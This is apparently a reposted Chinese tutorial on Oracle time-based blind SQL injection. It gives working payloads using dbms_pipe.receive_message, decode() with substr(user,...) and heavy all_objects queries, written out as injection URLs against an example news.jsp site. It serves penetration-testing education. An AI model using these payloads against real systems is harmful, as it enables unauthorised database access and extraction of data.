oracle 布尔盲注,Oracle基于延时的盲注总结
0x00?前言
oracle注入中可以通過頁面響應的狀態,這里指的是響應時間,通過這種方式判斷SQL是否被執行的方式,便是時間盲注;
oracle的時間盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一種便是decode()與高耗時SQL操作的組合,當然也可以是case,if 等方式與高耗時操作的組合,這里的高耗時操作指的是,例如:(select count(*) from all_objects),對數據庫中大量數據進行查詢或其他處理的操作,這樣的操作會耗費較多的時間,然后通過這個方式來獲取數據。這種方式也適用于其他數據庫。
0x01?DBMS_PIPE.RECEIVE_MESSAGE()函數延時盲注
DBMS_LOCK.SLEEP()函數可以讓一個過程休眠很多秒,但使用該函數存在許多限制。
首先,不能直接將該函數注入子查詢中,因為Oracle不支持堆疊查詢(stacked query)。其次,只有數據庫管理員才能使用DBMS_LOCK包。
在Oracle PL/SQL中有一種更好的辦法,可以使用下面的指令以內聯方式注入延遲:
dbms_pipe.receive_message('RDS', 10)
DBMS_PIPE.RECEIVE_MESSAGE函數將為從RDS管道返回的數據等待10秒。默認情況下,允許以public權限執行該包。DBMS_LOCK.SLEEP()與之相反,它是一個可以用在SQL語句中的函數。
延遲盲注中的應用:
http://www.jsporcle.com/news.jsp?id=-1 or 1= dbms_pipe.receive_message('RDS', 10)--http://www.jsporcle.com/news.jsp?id=1 and 1=dbms_pipe.receive_message('RDS', 10)--
如果頁面延時10秒返回,即存在注入。
來自官網的DBMS_PIPE.RECEIVE_MESSAGE語法:
DBMS_PIPE.RECEIVE_MESSAGE (
pipename? ???IN VARCHAR2,
timeout? ?? ?IN INTEGER? ?? ?DEFAULT maxwait)
RETURN INTEGER;
可以暫時理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延遲時間)
0x02 decode函數延時盲注
decode不僅可以在布爾盲注中運用,也可以用在延遲盲注中。
在decode注入里加入延時語句。這里加入了我們的dbms_pipe.receive_message函數。
and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) --
當然,這里延遲的操作不一定用延遲函數,也可以使用花費更多時間去查詢所有數據庫的條目。例如:
(select count(*) from all_objects)
http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1'
通過這種明顯時間差也能判斷注入表達式的結果。
總結
以上是生活随笔為你收集整理的oracle 布尔盲注,Oracle基于延时的盲注总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 10个简单的 Java 性能调优技巧
- 下一篇: android动态设置src,Andro